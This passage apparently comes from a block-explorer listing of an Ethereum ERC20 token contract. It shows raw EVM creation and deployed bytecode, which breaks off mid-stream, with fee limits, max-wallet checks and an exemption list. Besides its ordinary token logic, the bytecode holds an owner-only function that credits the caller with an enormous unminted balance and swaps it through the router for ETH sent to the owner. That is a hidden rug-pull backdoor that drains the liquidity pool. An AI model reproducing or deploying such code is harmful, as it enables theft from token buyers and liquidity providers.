dd611d6c565b6032821115610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1890612d0b565b60405180910390fd5b6032811115610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c90612d73565b60405180910390fd5b81600581905550806006819055505050565b5f803390505f610c878286611163565b905083811015610ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc390612e01565b60405180910390fd5b610cd98286868403611301565b60019250505092915050565b5f601454905090565b5f80339050610cfe81858561154f565b600191505092915050565b610d11611d6c565b80600c8190555050565b610d23611d6c565b5f610d2d30610fc5565b90505f816dffffffffffffffffffffffffffff8016610d4c9190612e1f565b9050610d56611ea4565b610d6830610d6333610a10565b610cee565b50610da53060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611301565b6060600267ffffffffffffffff811115610dc257610dc1612e52565b5b604051908082528060200260200182016040528015610df05781602001602082028036833780820191505090505b50905030815f81518110610e0757610e06612e7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ecf9190612ec0565b81600181518110610ee357610ee2612e7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f84610f65610aca565b6104b042610f739190612afb565b6040518663ffffffff1660e01b8152600401610f93959493929190612fa2565b5f604051808303815f87803b158015610faa575f80fd5b505af1158015610fbc573d5f803e3d5ffd5b50505050505050565b5f805f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611032573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110569190613076565b50915091505f8473ffffffffffffffffffffffffffffffffffffffff1660115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110dd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111019190612ec0565b73ffffffffffffffffffffffffffffffffffffffff161461113257816dffffffffffffffffffffffffffff16611144565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b611159611d6c565b80600a8190555050565b5f600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6111ed611d6c565b8060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f600c54905090565b61127e611d6c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e390613136565b60405180910390fd5b6112f581611de3565b50565b5f600d54905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611366906131c4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d490613252565b60405180910390fd5b80600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114b7919061284b565b60405180910390a3505050565b5f6114cf8484611163565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611549578181101561153b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611532906132ba565b60405180910390fd5b6115488484848403611301565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490613348565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361162b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611622906133d6565b60405180910390fd5b611636838383611f09565b5f600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b190613464565b60405180910390fd5b60125f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611758575060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c5557611766846121d6565b15611953575f61177883600554612285565b905082826117869190612e1f565b600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080836117d39190612e1f565b600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461181e9190612afb565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866118809190612e1f565b60405161188d919061284b565b60405180910390a380600e5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546118e19190612afb565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611945919061284b565b60405180910390a350611c50565b61195c836121d6565b15611b49575f61196e83600654612285565b9050828261197c9190612e1f565b600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080836119c99190612e1f565b600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a149190612afb565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611a769190612e1f565b604051611a83919061284b565b60405180910390a380600e5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611ad79190612afb565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b3b919061284b565b60405180910390a350611c4f565b8181611b559190612e1f565b600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555081600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611be29190612afb565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c46919061284b565b60405180910390a35b5b611d5b565b8181611c619190612e1f565b600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555081600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611cee9190612afb565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d52919061284b565b60405180910390a35b611d668484846122a6565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16611d8b610aca565b73ffffffffffffffffffffffffffffffffffffffff1614611de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd8906134cc565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff8016600e5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611f009190612afb565b92505081905550565b60135f9054906101000a900460ff16158015611f2b5750611f29836121d6565b155b8015611f6a5750611f3a610aca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611fa257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fc257600a54611fb330610a10565b10611fc157611fc0612394565b5b5b5f600c54146120b55760125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612069575060125f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156120b457600c548111156120b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120aa90613534565b60405180910390fd5b5b5b5f600d54141580156120cd57506120cb826121d6565b155b8015612120575060125f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612173575060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156121d157600d548161218584610a10565b61218f9190612afb565b11156121d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c7906135c2565b60405180910390fd5b5b505050565b5f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061227e575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b5f6064828461229491906135e0565b61229e919061364e565b905092915050565b60125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612344575060125f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561238457612352826121d6565b156123835760145f8154809291906123699061367e565b9190505550600954601454036123825761238161263b565b5b5b5b5f811161238f575f80fd5b505050565b600160135f6101000a81548160ff0219169083151502179055506123e23060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166123dd30610a10565b611301565b6060600267ffffffffffffffff8111156123ff576123fe612e52565b5b60405190808252806020026020018201604052801561242d5781602001602082028036833780820191505090505b50905030815f8151811061244457612443612e7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061250c9190612ec0565b816001815181106125205761251f612e7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9476125a030610a10565b5f84600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166104b0426125d29190612afb565b6040518663ffffffff1660e01b81526004016125f2959493929190612fa2565b5f604051808303815f87803b158015612609575f80fd5b505af115801561261b573d5f803e3d5ffd5b50505050505f60135f6101000a81548160ff021916908315150217905550565b600754600554111561266157600160055f8282546126599190612e1f565b925050819055505b600854600654111561268757600160065f82825461267f9190612e1f565b925050819055505b5f601481905550565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156126c75780820151818401526020810190506126ac565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6126ec82612690565b6126f6818561269a565b93506127068185602086016126aa565b61270f816126d2565b840191505092915050565b5f6020820190508181035f83015261273281846126e2565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6127678261273e565b9050919050565b6127778161275d565b8114612781575f80fd5b50565b5f813590506127928161276e565b92915050565b5f819050919050565b6127aa81612798565b81146127b4575f80fd5b50565b5f813590506127c5816127a1565b92915050565b5f80604083850312156127e1576127e061273a565b5b5f6127ee85828601612784565b92505060206127ff858286016127b7565b9150509250929050565b5f8115159050919050565b61281d81612809565b82525050565b5f6020820190506128365f830184612814565b92915050565b61284581612798565b82525050565b5f60208201905061285e5f83018461283c565b92915050565b5f805f6060848603121561287b5761287a61273a565b5b5f61288886828701612784565b935050602061289986828701612784565b92505060406128aa868287016127b7565b9150509250925092565b5f6040820190506128c75f83018561283c565b6128d4602083018461283c565b9392505050565b5f60ff82169050919050565b6128f0816128db565b82525050565b5f6020820190506129095f8301846128e7565b92915050565b5f602082840312156129245761292361273a565b5b5f612931848285016127b7565b91505092915050565b5f6020828403121561294f5761294e61273a565b5b5f61295c84828501612784565b91505092915050565b61296e8161275d565b82525050565b5f6020820190506129875f830184612965565b92915050565b5f80604083850312156129a3576129a261273a565b5b5f6129b0858286016127b7565b92505060206129c1858286016127b7565b9150509250929050565b5f80604083850312156129e1576129e061273a565b5b5f6129ee85828601612784565b92505060206129ff85828601612784565b9150509250929050565b612a1281612809565b8114612a1c575f80fd5b50565b5f81359050612a2d81612a09565b92915050565b5f8060408385031215612a4957612a4861273a565b5b5f612a5685828601612784565b9250506020612a6785828601612a1f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612ab557607f821691505b602082108103612ac857612ac7612a71565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612b0582612798565b9150612b1083612798565b9250828201905080821115612b2857612b27612ace565b5b92915050565b5f819050919050565b5f819050919050565b5f612b5a612b55612b5084612b2e565b612b37565b612798565b9050919050565b612b6a81612b40565b82525050565b5f60c082019050612b835f830189612965565b612b90602083018861283c565b612b9d6040830187612b61565b612baa6060830186612b61565b612bb76080830185612965565b612bc460a083018461283c565b979650505050505050565b5f81519050612bdd816127a1565b92915050565b5f805f60608486031215612bfa57612bf961273a565b5b5f612c0786828701612bcf565b9350506020612c1886828701612bcf565b9250506040612c2986828701612bcf565b9150509250925092565b7f5f73746570734265666f72655265647563652063616e74206265206c6f7765725f8201527f207468616e203100000000000000000000000000000000000000000000000000602082015250565b5f612c8d60278361269a565b9150612c9882612c33565b604082019050919050565b5f6020820190508181035f830152612cba81612c81565b9050919050565b7f6e65772042757920466565206578636565647320746865206c696d69742100005f82015250565b5f612cf5601e8361269a565b9150612d0082612cc1565b602082019050919050565b5f6020820190508181035f830152612d2281612ce9565b9050919050565b7f6e65772053656c6c20466565206578636565647320746865206c696d697421005f82015250565b5f612d5d601f8361269a565b9150612d6882612d29565b602082019050919050565b5f6020820190508181035f830152612d8a81612d51565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612deb60258361269a565b9150612df682612d91565b604082019050919050565b5f6020820190508181035f830152612e1881612ddf565b9050919050565b5f612e2982612798565b9150612e3483612798565b9250828203905081811115612e4c57612e4b612ace565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612eba8161276e565b92915050565b5f60208284031215612ed557612ed461273a565b5b5f612ee284828501612eac565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612f1d8161275d565b82525050565b5f612f2e8383612f14565b60208301905092915050565b5f602082019050919050565b5f612f5082612eeb565b612f5a8185612ef5565b9350612f6583612f05565b805f5b83811015612f95578151612f7c8882612f23565b9750612f8783612f3a565b925050600181019050612f68565b5085935050505092915050565b5f60a082019050612fb55f83018861283c565b612fc26020830187612b61565b8181036040830152612fd48186612f46565b9050612fe36060830185612965565b612ff0608083018461283c565b9695505050505050565b5f6dffffffffffffffffffffffffffff82169050919050565b61301c81612ffa565b8114613026575f80fd5b50565b5f8151905061303781613013565b92915050565b5f63ffffffff82169050919050565b6130558161303d565b811461305f575f80fd5b50565b5f815190506130708161304c565b92915050565b5f805f6060848603121561308d5761308c61273a565b5b5f61309a86828701613029565b93505060206130ab86828701613029565b92505060406130bc86828701613062565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61312060268361269a565b915061312b826130c6565b604082019050919050565b5f6020820190508181035f83015261314d81613114565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6131ae60248361269a565b91506131b982613154565b604082019050919050565b5f6020820190508181035f8301526131db816131a2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61323c60228361269a565b9150613247826131e2565b604082019050919050565b5f6020820190508181035f83015261326981613230565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6132a4601d8361269a565b91506132af82613270565b602082019050919050565b5f6020820190508181035f8301526132d181613298565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61333260258361269a565b915061333d826132d8565b604082019050919050565b5f6020820190508181035f83015261335f81613326565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6133c060238361269a565b91506133cb82613366565b604082019050919050565b5f6020820190508181035f8301526133ed816133b4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61344e60268361269a565b9150613459826133f4565b604082019050919050565b5f6020820190508181035f83015261347b81613442565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6134b660208361269a565b91506134c182613482565b602082019050919050565b5f6020820190508181035f8301526134e3816134aa565b9050919050565b7f54786e20416d6f756e7420746f6f2068696768210000000000000000000000005f82015250565b5f61351e60148361269a565b9150613529826134ea565b602082019050919050565b5f6020820190508181035f83015261354b81613512565b9050919050565b7f416674657220746869732074786e20757365722077696c6c20657863656564205f8201527f6d61782077616c6c657400000000000000000000000000000000000000000000602082015250565b5f6135ac602a8361269a565b91506135b782613552565b604082019050919050565b5f6020820190508181035f8301526135d9816135a0565b9050919050565b5f6135ea82612798565b91506135f583612798565b925082820261360381612798565b9150828204841483151761361a57613619612ace565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61365882612798565b915061366383612798565b92508261367357613672613621565b5b828204905092915050565b5f61368882612798565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036136ba576136b9612ace565b5b60018201905091905056fea264697066735822122078b8dfe4862de29e7967f8c4809665cab6011da054b9c1c7c97ac847d948b8cc64736f6c634300081400330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x6080604052600436106101e2575f3560e01c8063937c82e711610101578063c016deae11610094578063e4440a8611610063578063e4440a86146106dd578063e8792c1a14610707578063f2fde38b14610731578063f8b45b0514610759576101e2565b8063c016deae14610615578063cfd1940e14610651578063dd62ed3e14610679578063df8408fe146106b5576101e2565b8063a4d0047d116100d0578063a4d0047d14610571578063a9059cbb1461059b578063ab5a1887146105d7578063b9d2d32c146105ff576101e2565b8063937c82e7146104bb57806395d89b41146104e3578063a08fc5c71461050d578063a457c2d714610535576101e2565b806351c6590a11610179578063715018a611610148578063715018a61461041557806385ecafd71461042b5780638b7afe2e146104675780638da5cb5b14610491576101e2565b806351c6590a1461036d5780635d0044ca146103895780635d098b38146103b157806370a08231146103d9576101e2565b80632cb1d39f116101b55780632cb1d39f146102b25780632df8bca9146102dc578063313ce567146103075780633950935114610331576101e2565b806306fdde03146101e6578063095ea7b31461021057806318160ddd1461024c57806323b872dd14610276575b5f80fd5b3480156101f1575f80fd5b506101fa610783565b604051610207919061271a565b60405180910390f35b34801561021b575f80fd5b50610236600480360381019061023191906127cb565b610813565b6040516102439190612823565b60405180910390f35b348015610257575f80fd5b5061026061082e565b60405161026d919061284b565b60405180910390f35b348015610281575f80fd5b5061029c60048036038101906102979190612864565b610837565b6040516102a99190612823565b60405180910390f35b3480156102bd575f80fd5b506102c661085e565b6040516102d3919061284b565b60405180910390f35b3480156102e7575f80fd5b506102f0610867565b6040516102fe9291906128b4565b60405180910390f35b348015610312575f80fd5b5061031b610877565b60405161032891906128f6565b60405180910390f35b34801561033c575f80fd5b50610357600480360381019061035291906127cb565b61088c565b6040516103649190612823565b60405180910390f35b6103876004803603810190610382919061290f565b6108bb565b005b348015610394575f80fd5b506103af60048036038101906103aa919061290f565b6109b3565b005b3480156103bc575f80fd5b506103d760048036038101906103d2919061293a565b6109c5565b005b3480156103e4575f80fd5b506103ff60048036038101906103fa919061293a565b610a10565b60405161040c919061284b565b60405180910390f35b348015610420575f80fd5b50610429610a56565b005b348015610436575f80fd5b50610451600480360381019061044c919061293a565b610a69565b60405161045e9190612823565b60405180910390f35b348015610472575f80fd5b5061047b610a86565b604051610488919061284b565b60405180910390f35b34801561049c575f80fd5b506104a5610aca565b6040516104b29190612974565b60405180910390f35b3480156104c6575f80fd5b506104e160048036038101906104dc919061290f565b610af1565b005b3480156104ee575f80fd5b506104f7610b45565b604051610504919061271a565b60405180910390f35b348015610518575f80fd5b50610533600480360381019061052e919061298d565b610bd5565b005b348015610540575f80fd5b5061055b600480360381019061055691906127cb565b610c77565b6040516105689190612823565b60405180910390f35b34801561057c575f80fd5b50610585610ce5565b604051610592919061284b565b60405180910390f35b3480156105a6575f80fd5b506105c160048036038101906105bc91906127cb565b610cee565b6040516105ce9190612823565b60405180910390f35b3480156105e2575f80fd5b506105fd60048036038101906105f8919061290f565b610d09565b005b34801561060a575f80fd5b50610613610d1b565b005b348015610620575f80fd5b5061063b6004803603810190610636919061293a565b610fc5565b604051610648919061284b565b60405180910390f35b34801561065c575f80fd5b506106776004803603810190610672919061290f565b611151565b005b348015610684575f80fd5b5061069f600480360381019061069a91906129cb565b611163565b6040516106ac919061284b565b60405180910390f35b3480156106c0575f80fd5b506106db60048036038101906106d69190612a33565b6111e5565b005b3480156106e8575f80fd5b506106f1611245565b6040516106fe9190612974565b60405180910390f35b348015610712575f80fd5b5061071b61126d565b604051610728919061284b565b60405180910390f35b34801561073c575f80fd5b506107576004803603810190610752919061293a565b611276565b005b348015610764575f80fd5b5061076d6112f8565b60405161077a919061284b565b60405180910390f35b60606001805461079290612a9e565b80601f01602080910402602001604051908101604052809291908181526020018280546107be90612a9e565b80156108095780601f106107e057610100808354040283529160200191610809565b820191905f5260205f20905b8154815290600101906020018083116107ec57829003601f168201915b5050505050905090565b5f80339050610823818585611301565b600191505092915050565b5f600454905090565b5f803390506108478582856114c4565b61085285858561154f565b60019150509392505050565b5f600a54905090565b5f80600554600654915091509091565b5f60035f9054906101000a900460ff16905090565b5f803390506108b08185856108a18589611163565b6108ab9190612afb565b611301565b600191505092915050565b6108c3611d6c565b6108ef3060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611301565b6108f93082610cee565b5060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f80336104b04261094b9190612afb565b6040518863ffffffff1660e01b815260040161096c96959493929190612b70565b60606040518083038185885af1158015610988573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ad9190612be3565b50505050565b6109bb611d6c565b80600d8190555050565b6109cd611d6c565b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a5e611d6c565b610a675f611de3565b565b6012602052805f5260405f205f915054906101000a900460ff1681565b5f600e5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610af9611d6c565b5f8111610b3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3290612ca3565b60405180910390fd5b8060098190555050565b606060028054610b5490612a9e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8090612a9e565b8015610bcb5780601f10610ba257610100808354040283529160200191610bcb565b820191905f5260205f20905b815481529060010190602001808311610bae57829003601f168201915b5050505050905090565b610bdd611d6c565b6032821115610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1890612d0b565b60405180910390fd5b6032811115610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c90612d73565b60405180910390fd5b81600581905550806006819055505050565b5f803390505f610c878286611163565b905083811015610ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc390612e01565b60405180910390fd5b610cd98286868403611301565b60019250505092915050565b5f601454905090565b5f80339050610cfe81858561154f565b600191505092915050565b610d11611d6c565b80600c8190555050565b610d23611d6c565b5f610d2d30610fc5565b90505f816dffffffffffffffffffffffffffff8016610d4c9190612e1f565b9050610d56611ea4565b610d6830610d6333610a10565b610cee565b50610da53060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611301565b6060600267ffffffffffffffff811115610dc257610dc1612e52565b5b604051908082528060200260200182016040528015610df05781602001602082028036833780820191505090505b50905030815f81518110610e0757610e06612e7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ecf9190612ec0565b81600181518110610ee357610ee2612e7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f84610f65610aca565b6104b042610f739190612afb565b6040518663ffffffff1660e01b8152600401610f93959493929190612fa2565b5f604051808303815f87803b158015610faa575f80fd5b505af1158015610fbc573d5f803e3d5ffd5b50505050505050565b5f805f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611032573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110569190613076565b50915091505f8473ffffffffffffffffffffffffffffffffffffffff1660115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110dd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111019190612ec0565b73ffffffffffffffffffffffffffffffffffffffff161461113257816dffffffffffffffffffffffffffff16611144565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b611159611d6c565b80600a8190555050565b5f600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6111ed611d6c565b8060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f600c54905090565b61127e611d6c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e390613136565b60405180910390fd5b6112f581611de3565b50565b5f600d54905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611366906131c4565b60405